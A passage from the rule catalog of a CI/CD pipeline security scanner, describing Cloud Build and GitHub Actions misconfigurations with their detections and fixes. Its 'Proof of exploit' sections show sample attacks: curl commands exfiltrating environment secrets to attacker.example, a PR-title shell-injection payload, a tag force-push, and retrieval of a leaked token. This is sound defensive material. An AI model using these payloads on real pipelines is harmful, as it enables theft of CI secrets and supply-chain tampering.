How this is detected. Distinct from GCB-004, which fires only when options.dynamicSubstitutions: true re-evaluates bash syntax after expansion. GCB-019 fires whenever a step uses a shell as its entrypoint AND a $_USER_VAR token lands inside args: Cloud Build expands the substitution before the step runs, and the shell then interprets any metacharacters the substitution carried, straight command injection through trigger configuration.
Recommendation. Pass user substitutions through env: (or secretEnv: for sensitive values) and reference them inside a checked-in shell script rather than splicing them directly into args. If the step truly needs to invoke shell logic inline, switch the entrypoint to the underlying tool (docker, gcloud, gsutil) and let the tool see the substitution as an argument, not as shell text.
Source: GCB-019 in the Cloud Build provider.
GCB-021: No private worker pool, build runs on the shared default pool MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds, Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Cloud Build runs in a shared Google-managed pool by default. Switching to a private worker pool is the prerequisite for every other network-perimeter control: egress restriction to specific peered networks, ingress blocking of public endpoints, and traffic interoperation with VPC Service Controls. Both options.pool.name and the legacy options.workerPool field are accepted.
Recommendation. Set options.pool.name: projects/<PROJECT>/locations/<REGION>/workerPools/<NAME> to bind the build to a private worker pool inside your VPC. The default pool runs on a shared Google-managed network with public-internet egress and ingress paths Google chooses, which makes egress filtering, VPC-SC perimeters, and source-IP allowlists on internal endpoints impossible. A private pool also gives you the option to disable external IPs and to log the build's network activity through your own VPC flow logs.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- OSS / sample / one-off builds that legitimately have no private network and no internal endpoints to protect. Suppress with a brief
.pipelinecheckignorerationale rather than disabling at the catalog level.
Source: GCB-021 in the Cloud Build provider.
GCB-022: options.substitutionOption set to ALLOW_LOOSE LOW 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Cloud Build accepts two values for options.substitutionOption: MUST_MATCH (default, any undefined $_VAR reference fails the build at parse time) and ALLOW_LOOSE (undefined references silently expand to ""). The default is the safer setting; this rule only fires on the explicit ALLOW_LOOSE opt-in. Builds that genuinely depend on optional substitutions should pass them through substitutions: defaults, not rely on silent empty-string fallback.
Recommendation. Drop options.substitutionOption (the default is MUST_MATCH) or set it explicitly to MUST_MATCH. ALLOW_LOOSE makes Cloud Build expand undefined substitutions to the empty string instead of failing the build. That paper-overs typos ($_REGON instead of $_REGION), masks unset variables that should have tripped review, and combined with dynamicSubstitutions: true (GCB-004) it widens the command-injection surface by letting attacker-controlled substitution tokens collapse to empty strings inside shell commands.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Migration scenarios where a long-running pipeline pre-dates MUST_MATCH and the operator needs ALLOW_LOOSE temporarily. Suppress with a brief
.pipelinecheckignorerationale and anexpires:date so the waiver doesn't outlive the migration.
Source: GCB-022 in the Cloud Build provider.
GCB-023: Step references a user substitution not declared in substitutions: MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Walks every step's args: / entrypoint: / env: / dir: / id: / waitFor: for $_NAME tokens (Cloud Build's user-substitution syntax is leading underscore + uppercase / digits / underscore) and cross-references against the top-level substitutions: mapping. Built-in substitutions ($PROJECT_ID, $REPO_NAME, $BRANCH_NAME, $TAG_NAME, $COMMIT_SHA, $SHORT_SHA, $REVISION_ID, $BUILD_ID, $LOCATION, $TRIGGER_NAME, $_HEAD_*, $_BASE_*, $_PR_NUMBER and the $_HEAD_REPO_URL family) are Cloud Build server-set and don't appear in substitutions:; the rule allow-lists them so they don't false-positive.
Recommendation. Add an entry for every $_USER_VAR referenced anywhere in the build to the top-level substitutions: block, either with a sensible default or with an empty string if the trigger always supplies the value. Cloud Build's default options.substitutionOption: MUST_MATCH then fails the build at parse time on undeclared references (catching typos at the gate). With the looser ALLOW_LOOSE opt-in (GCB-022) undeclared references silently expand to the empty string, which masks the bug and quietly broadens any shell command that interpolates the value.
Source: GCB-023 in the Cloud Build provider.
GCB-024: Build pushes Docker images but top-level images: is empty LOW
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Walks step args / entrypoint / cmd looking for docker push (or the buildx imagetools push variant) invocations. When the build has at least one such step but the top-level images: field is missing or empty, fires. Steps that build and push via the gcr.io/cloud-builders/docker builder image are the common case; --push flags on buildx build are also detected. kaniko and buildah push idioms aren't currently detected. Those are different builder images entirely.
Recommendation. Add every image the build produces to the top-level images: array (e.g. images: ['gcr.io/$PROJECT_ID/myapp:$COMMIT_SHA']). Cloud Build then verifies the push succeeded before marking the build SUCCESS, records the image in the build's metadata for provenance / Binary Authorization attestation, and surfaces the image in the builds.list --image query. Without it, a push that happens inside a step is invisible to Cloud Build's tracking layer even though the image still lands in the registry.
Known false positives.
- Multi-stage builds where one step pushes an intermediate image to a private cache registry and the final stage pushes the production artifact (which IS in
images:) would trip this rule on the cache push. Suppress with--ignore-filewhen this matches.
Source: GCB-024 in the Cloud Build provider.
GCB-025: Build has no tags for audit / discoverability LOW
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Cloud Build tags are user-defined labels attached to a build. They appear in the build's metadata (tags: field on the Build resource), in every Cloud Logging audit event for the build, and as a filter argument to gcloud builds list --filter='tags:<value>'. Substitution-bearing tags ($BRANCH_NAME, $COMMIT_SHA) count as populated. Cloud Build expands them at submission time.
Recommendation. Add a top-level tags: array to every cloudbuild.yaml, at minimum, an environment tag (prod / staging / dev) and a service tag (backend / frontend / infra). Cloud Build records tags in the build metadata and Cloud Logging entries so post-incident triage of which build emitted this becomes a single gcloud builds list --filter='tags:prod' query. Without tags, builds discoverable only by build-id; the id is a UUID with no signal.
Known false positives.
- Single-purpose project-local builds in a sandbox project may legitimately not need tags. Suppress with
--ignore-fileif that matches.
Source: GCB-025 in the Cloud Build provider.
GHA-001: Action not pinned to commit SHA HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Every uses: reference should pin a specific 40-char commit SHA. Tag and branch refs (@v4, @main) can be silently moved to malicious commits by whoever controls the upstream repository, a third-party action compromise will propagate into the pipeline on the next run.
Recommendation. Replace tag/branch references (@v4, @main) with the full 40-char commit SHA. Use Dependabot or StepSecurity to keep the pins fresh.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Seen in the wild.
- tj-actions/changed-files compromise (CVE-2025-30066, March 2025): a malicious commit retagged behind
@v1/@v45shipped CI-secret exfiltration to roughly 23,000 repos that had pinned the action to a mutable tag instead of a commit SHA. - reviewdog/action-setup compromise (CVE-2025-30154, March 2025): same week, similar mechanism. Tag-pinned consumers auto-pulled the malicious version; SHA-pinned consumers were unaffected.
Proof of exploit.
Tag-pinned reference (vulnerable):
- uses: tj-actions/changed-files@v45
Attack: the upstream maintainer (or anyone who compromises
the upstream repo) force-moves the v45 tag to a malicious
commit:
git tag -f v45
git push --force origin v45
Every consumer's next workflow run pulls the new code
automatically, executing the attacker's payload with the
job's secrets and GITHUB_TOKEN in scope.
Safe: pin to a 40-char commit SHA (immutable):
- uses: tj-actions/changed-files@a284dc1 # v45.0.0
Source: GHA-001 in the GitHub Actions provider.
GHA-002: pull_request_target checks out PR head CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. pull_request_target runs with a write-scope GITHUB_TOKEN and access to repository secrets, deliberately so, since it's how labeling and comment-bot workflows work. When the same workflow then explicitly checks out the PR head (ref: ${{ github.event.pull_request.head.sha }} or .ref) it executes attacker-controlled code with those privileges.
Recommendation. Use pull_request instead of pull_request_target for any workflow that must run untrusted code. If you need write scope, split the workflow: a pull_request_target job that labels the PR, and a separate pull_request-triggered job that builds it with read-only secrets.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Seen in the wild.
- GitHub Security Lab: Preventing pwn requests (2020), the canonical write-up. Demonstrates how a fork PR that lands in a
pull_request_targetworkflow with the PR head checked out runs in the base repo's privileged context. - Trail of Bits
Codecov-style supply chain via pwn requests(2021): showed the primitive against widely-used Actions workflows. The fix pattern (split the workflow into a privileged labeler + an unprivileged builder) is now standard guidance.
Proof of exploit.
Vulnerable: pull_request_target + checkout PR head =
attacker code runs with secrets + write-scope token.
name: build-pr
on:
pull_request_target:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@
Attack: any external contributor opens a fork PR with a
tampered Makefile:
test:
# curl -X POST https://attacker.example/exfil \ # -d "$(env)" \
-d "$(git config --get-all http.https://github.com/.extraheader)"
CI runs the malicious target with the base repo's secrets
(every ${{ secrets.* }} the workflow has access to) and a
write-scope GITHUB_TOKEN. The PR doesn't even need to be
merged or reviewed — the privileged execution happens at
PR-open time.
Safe: split the workflow. The labeler runs with secrets
but never checks out PR head; the builder runs in
pull_request context with no secrets:
name: triage # privileged half on: { pull_request_target: { types: [opened, synchronize] } } jobs: label: runs-on: ubuntu-latest steps: - run: gh pr edit ${{ github.event.number }} --add-label triage env: GH_TOKEN: ${{ github.token }}
name: build # unprivileged half
on: { pull_request: {} }
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@
Source: GHA-002 in the GitHub Actions provider.
GHA-003: Script injection via untrusted context HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Interpolating attacker-controlled context fields (PR title/body, issue body, comment body, commit message, discussion body, head branch name, github.ref_name, inputs.*, release metadata, deployment payloads) directly into a run: block is shell injection. GitHub expands ${{ ... }} BEFORE shell quoting, so any backtick, $(), or ; in the source field executes.
Recommendation. Pass untrusted values through an intermediate env: variable and reference that variable from the shell script. GitHub's expression evaluation happens before shell quoting, so inline ${{ github.event.* }} is always unsafe.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Seen in the wild.
- GitHub Security Lab disclosure (2020): a sweep of public Actions found dozens of widely-used workflows interpolating
github.event.issue.title/pull_request.titledirectly into shell. Any commenter or PR author could run arbitrary commands in the maintainer's CI. - Trail of Bits
pwn-requestresearch (2021): demonstrated the same primitive againstpull_request_targetworkflows where the runner has secrets and a write-scope token; one fork PR could exfiltrate every secret the workflow could see. Mitigation is the same: never interpolate context into shell, route throughenv:.
Proof of exploit.
Vulnerable: PR title interpolated straight into shell.
name: triage on: pull_request_target: types: [opened, edited] jobs: greet: runs-on: ubuntu-latest steps: - run: | echo "New PR: ${{ github.event.pull_request.title }}"
Attack: open a PR with the title:
# foo"; curl -X POST https://attacker.example/exfil \
-d "$(env | base64 -w0)"; echo "
GitHub expands ${{ ... }} BEFORE shell quoting, so the
title's " closes the echo string and the rest of the line
becomes shell. The pull_request_target trigger means the
runner already has secrets and a write-scope GITHUB_TOKEN,
so the curl exfils every secret the workflow can see.
Safe: route through env so the value is never interpolated
into the shell template:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "New PR: $PR_TITLE"
Source: GHA-003 in the GitHub Actions provider.
GHA-004: Workflow has no explicit permissions block MEDIUM 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Without an explicit permissions: block (either top-level or per-job), the GITHUB_TOKEN inherits the repository's default scope, typically write. A compromised step receives far more privilege than it needs.
Recommendation. Add a top-level permissions: block (start with contents: read) and grant additional scopes only on the specific jobs that need them.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Read-only / lint-only workflows that do not call any write-scoped API often pass without an explicit block because the default token scope on public repos is read. The rule defaults to MEDIUM confidence to reflect this.
Source: GHA-004 in the GitHub Actions provider.
GHA-006: Artifacts not signed (no cosign/sigstore step) MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Unsigned artifacts cannot be verified downstream, so a tampered build is indistinguishable from a legitimate one. The check recognizes cosign, sigstore, slsa-github-generator, slsa-framework, and notation-sign as signing tools.
Recommendation. Add a signing step, e.g. sigstore/cosign-installer followed by cosign sign, or slsa-framework/slsa-github-generator for keyless SLSA provenance. Publish the signature alongside the artifact and verify it at consumption time.
Seen in the wild.
- SolarWinds Orion compromise (December 2020): SUNBURST trojanized builds shipped to ~18,000 customers because no post-build signature could be checked against a trusted signing identity. Cryptographic signing on every release would have given downstream consumers a verifiable break with the upstream key, the absence of which was the ambient signal of compromise.
- PyTorch nightly compromise (December 2022): the
torchtritondependency was hijacked via PyPI dependency-confusion. Sigstore-style attestation tied to the official publisher would have made the impostor build fail verification rather than silently install.
Source: GHA-006 in the GitHub Actions provider.
GHA-007: SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Without an SBOM, downstream consumers cannot audit the exact set of dependencies shipped in the artifact, delaying vulnerability response when a transitive dep is disclosed. The check recognises CycloneDX, syft, Anchore SBOM action, spdx-sbom-generator, Microsoft sbom-tool, and Trivy in SBOM mode.
Recommendation. Add an SBOM generation step, anchore/sbom-action, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM to the release so consumers can ingest it into their vuln-management pipeline.
Source: GHA-007 in the GitHub Actions provider.
GHA-008: Credential-shaped literal in workflow body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Every string in the workflow is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc., see --man secrets for the full catalog). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.
Recommendation. Rotate the exposed credential immediately. Move the value to an encrypted repository or environment secret and reference it via ${{ secrets.NAME }}. For cloud access, prefer OIDC federation over long-lived keys.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real workflow it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Seen in the wild.
- Uber 2016 GitHub leak: an AWS access key embedded in a private GitHub repo was reachable to attackers who got at the repo and used it to download driver / rider PII for 57 million accounts. Credential-shaped literals in any source control system (public or private) are one credential-leak away from the same outcome.
- GitGuardian's annual State of Secrets Sprawl reports consistently find millions of fresh credential leaks per year across public commits, with a median time-to-revocation after disclosure of days, not minutes. Pinning secrets to
${{ secrets.* }}removes the artifact from source control entirely.
Proof of exploit.
Vulnerable: AWS access key pasted into the workflow body.
env: AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY: wJalrXUtnnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Attack chain:
1. Attacker clones/forks the repo or pulls from a public
mirror. The literal is in plain text — no credentials
needed to read it.
2. Attacker uses the key against the AWS account it
belongs to. With AmazonEC2FullAccess this is
immediate compute hijack; with broader IAM it is
full data exfiltration.
3. Even after rotation, every git revision and every
CI build log retains the value — pull-request
mirrors, logging back-ends, and forks all have to
be scrubbed.
Safe: reference a stored secret. The value never lives in
source control or build logs (GitHub redacts it from output).
env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
Better: use OIDC federation. No long-lived key exists.
permissions:
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@
Source: GHA-008 in the GitHub Actions provider.
GHA-009: workflow_run downloads upstream artifact unverified CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. on: workflow_run runs in the privileged context of the default branch (write GITHUB_TOKEN, secrets accessible) but consumes artifacts produced by the triggering workflow, which is often a fork PR with no trust boundary. Classic PPE: a malicious PR uploads a tampered artifact, the privileged workflow_run downloads and executes it.
Recommendation. Add a verification step BEFORE consuming the artifact: cosign verify-attestation --type slsaprovenance ..., gh attestation verify --owner $OWNER ./artifact, or publish a checksum manifest from the trusted producer and sha256sum -c it. Treat any download from a fork as untrusted input.
Source: GHA-009 in the GitHub Actions provider.
GHA-010: Local action (./path) on untrusted-trigger workflow HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. uses: ./path/to/action resolves the action against the CHECKED-OUT workspace. On pull_request_target / workflow_run, that workspace can be PR-controlled, meaning the attacker supplies the action.yml that runs with default-branch privilege.
Recommendation. Move the action to a separate repo under your control and reference it by SHA-pinned uses: org/repo@<sha>, or split the workflow so the privileged work runs only on pull_request (read-only token, no secrets) where PR-controlled action.yml can't escalate.
Source: GHA-010 in the GitHub Actions provider.
GHA-011: Cache key derives from attacker-controllable input MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. actions/cache restores by key (and falls through restore-keys on miss). When the key includes a value the attacker controls (PR title, head ref, workflow_dispatch input), an attacker can plant a poisoned cache entry that a later default-branch run restores and treats as a clean build cache.
Recommendation. Build the cache key from values the attacker can't control: ${{ runner.os }}, ${{ hashFiles('**/*.lock') }} (only when the lockfile is enforced by branch protection), and the workflow file path. Never include github.event.* PR/issue fields, github.head_ref, or inputs.* in the key namespace.
Source: GHA-011 in the GitHub Actions provider.
GHA-012: Self-hosted runner without ephemeral marker MEDIUM
Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Self-hosted runners that don't tear down between jobs leak filesystem and process state. A PR-triggered job writes to /tmp; a subsequent prod-deploy job on the same runner reads it. The mitigation is the runner's --ephemeral mode, the runner exits after one job and re-registers fresh. The check looks for an ephemeral label on the runs-on value; without one, the runner is presumed reusable. Recognises all three runs-on shapes: string, list, and { group, labels } dict form.
Recommendation. Configure the self-hosted runner to register with --ephemeral (the runner exits after one job and is freshly registered), and add an ephemeral label so this check can verify it. Consider actions-runner-controller for ephemeral pools.
Known false positives.
- Organisations using actions-runner-controller (ARC), autoscaled pools, or vendor runner fleets often use labels like
arc-*,autoscaled-*, orephemeral-pool-*instead of a bareephemerallabel. The check only matches the literalephemeraltoken onruns-on; extend via a custom allow-prefix config if your fleet uses a different naming convention. Defaults to MEDIUM confidence.
Source: GHA-012 in the GitHub Actions provider.
GHA-013: issue_comment trigger without author guard HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. on: issue_comment (and discussion_comment) fires for every comment on every issue or discussion in the repository. On public repos this means any GitHub user can trigger workflow execution. If the workflow runs commands, deploys, or accesses secrets, the attacker controls timing and can inject payloads through the comment body.
Recommendation. Add an if: condition that checks github.event.comment.author_association (e.g. contains('OWNER MEMBER COLLABORATOR', ...)), github.event.sender.login, or github.actor against an allowlist. Without a guard, any GitHub user can trigger the workflow by posting a comment.
Source: GHA-013 in the GitHub Actions provider.
GHA-015: Job has no timeout-minutes, unbounded build MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without timeout-minutes, the job runs until GitHub's 6-hour default kills it. Explicit timeouts cap blast radius, cost, and the window during which a compromised step has access to secrets.
Recommendation. Add timeout-minutes: to each job, sized to the 95th percentile of historical runtime plus margin. GitHub's default is 360 minutes, an explicitly shorter value limits blast radius and runner cost.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GHA-015 in the GitHub Actions provider.
GHA-016: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a workflow. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Seen in the wild.
- Codecov Bash uploader compromise (April 2021): an attacker modified the codecov.io/bash uploader script (commonly fetched via
curl -s codecov.io/bash | bash) to exfiltrate environment variables from CI runners (AWS keys, GitHub tokens, signing keys) at thousands of customers for over two months before discovery. - Bitwarden / npm install scripts (CVE-2018-7536-class incidents): remote-script execution in CI is the same primitive. The attacker controls bytes the runner executes. Pinning a digest or hosting a vendored copy turns a perpetual ambient risk into a one-time review.
Proof of exploit.
Vulnerable: install script piped straight to bash.
steps: - run: curl -sL https://example.com/install.sh | bash
Attack: an attacker who controls the install.sh endpoint
(compromised CDN, expired domain, BGP hijack, account
takeover, or simply being the upstream maintainer with bad
intent) drops a payload that runs in the CI runner with
every secret available to the job:
#!/usr/bin/env bash
# legitimate-looking install actions...
# curl -X POST https://attacker.example/exfil \
-d "$(env)" -d "$(cat $GITHUB_TOKEN_FILE 2>/dev/null)"
The runner has no way to know the bytes changed.
Safe: download, verify a known-good digest, then execute.
steps: - run: | curl -sLo install.sh https://example.com/install.sh echo "abc123...expected_sha256 install.sh" | sha256sum -c bash install.sh
Source: GHA-016 in the GitHub Actions provider.
GHA-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a workflow give the container full access to the runner, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GHA-017 in the GitHub Actions provider.
GHA-019: GITHUB_TOKEN written to persistent storage CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Detects patterns where GITHUB_TOKEN is written to files, environment files ($GITHUB_ENV), or piped through tee. Persisted tokens survive the step boundary and can be exfiltrated by later steps, uploaded artifacts, or cache entries, turning a scoped credential into a long-lived one.
Recommendation. Never write GITHUB_TOKEN to files, artifacts, or GITHUB_ENV. Use the token inline via ${{ secrets.GITHUB_TOKEN }} in the step that needs it.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Proof of exploit.
Vulnerable: token written to a file that survives the
step boundary and lands in the upload-artifact bundle.
jobs:
build:
permissions: { contents: write, packages: write }
steps:
- run: echo "${{ secrets.GITHUB_TOKEN }}" > /tmp/token
- run: make build # writes /tmp/token
# into ./dist/
- uses: actions/upload-artifact@
Attack: any contributor (or, on public repos, anyone)
downloads the artifact:
gh run download -n build-output
cat build-output/tmp/token # full GITHUB_TOKEN
The token is scoped to the workflow's permissions block —
in this case write to contents and packages,
enough to push tampered binaries to GHCR or rewrite the
branch the workflow runs on. Composes with SCM-001
(unprotected default branch) into XPC-004's "open a PR,
fetch artifact, ship malicious binary" loop.
Other persistence patterns the rule catches:
echo "TOKEN=$GITHUB_TOKEN" >> $GITHUB_ENV
echo "::set-output name=tok::$GITHUB_TOKEN"
echo "$SECRET" | tee /tmp/cache/secret
Safe: use the token inline in the step that needs it; never
write it anywhere that survives the step's environment:
- run: gh release create v1.0.0 dist/*
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Source: GHA-019 in the GitHub Actions provider.
GHA-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GHA-021 in the GitHub Actions provider.
GHA-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GHA-023 in the GitHub Actions provider.
GHA-024: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where/how it was built. Consumers can then verify the build happened on a trusted runner, from a specific source commit, with known parameters. Without it, a leaked signing key forges identity but a leaked build environment also forges provenance. You need both for the SLSA L3 non-falsifiability guarantee.
Recommendation. Call slsa-framework/slsa-github-generator or actions/attest-build-provenance after the build step to emit an in-toto attestation alongside the artifact. cosign sign alone (covered by GHA-006) signs the artifact but doesn't record how it was built. SLSA Build L3 requires the provenance statement.
Source: GHA-024 in the GitHub Actions provider.
GHA-025: Reusable workflow not pinned to commit SHA HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. A reusable workflow runs with the caller's GITHUB_TOKEN and secrets by default. If uses: org/repo/.github/workflows/release.yml@v1 resolves to an attacker-modified commit, their code executes with your repository's permissions. This is the same threat model as unpinned step actions (GHA-001) but over a different uses: surface.
Recommendation. Pin every jobs.<id>.uses: reference to a 40-char commit SHA (owner/repo/.github/workflows/foo.yml@<sha>). Tag refs (@v1, @main) can be silently repointed by whoever controls the callee repository.
Source: GHA-025 in the GitHub Actions provider.
GHA-026: Container job disables isolation via options: HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. GitHub-hosted runners execute container: jobs inside a Docker container the runner itself manages, normally a hardened, network-namespaced sandbox. options: is a free-text passthrough to docker run; a flag that breaks the sandbox (shares host network/PID, runs privileged, maps the Docker socket) turns the job into an RCE on the runner VM.
Recommendation. Remove --network host, --privileged, --cap-add, --user 0/--user root, --pid host, --ipc host, and host -v bind-mounts from container.options and services.*.options. If a build genuinely needs one of these, move it to a dedicated self-hosted pool with branch protection so the flag doesn't reach PR runs.
Source: GHA-026 in the GitHub Actions provider.
GHA-028: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. If the value contains ;, &&, |, backticks, or $(), those metacharacters execute. Even when the variable source looks controlled today, relocating the script or adding a new caller can silently expose it to untrusted input.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command really must be dynamic, pass arguments as array members ("${ARGS[@]}") or validate the input against an allow-list before invocation.
Known false positives.
eval "$(ssh-agent -s)"and similareval "$(<literal-tool> <literal-args>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd. The rule only fires when the substituted command references a variable.
Source: GHA-028 in the GitHub Actions provider.
GHA-029: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Package installs that pull from git+… without a pinned commit, from a local path (./dir, file:…, absolute paths), or from a direct tarball URL are invisible to the normal lockfile integrity controls. A moving branch head, a sibling checkout the build assumes exists, or a tarball whose hash isn't verified all give an attacker who controls any of those surfaces the ability to substitute code into the build.
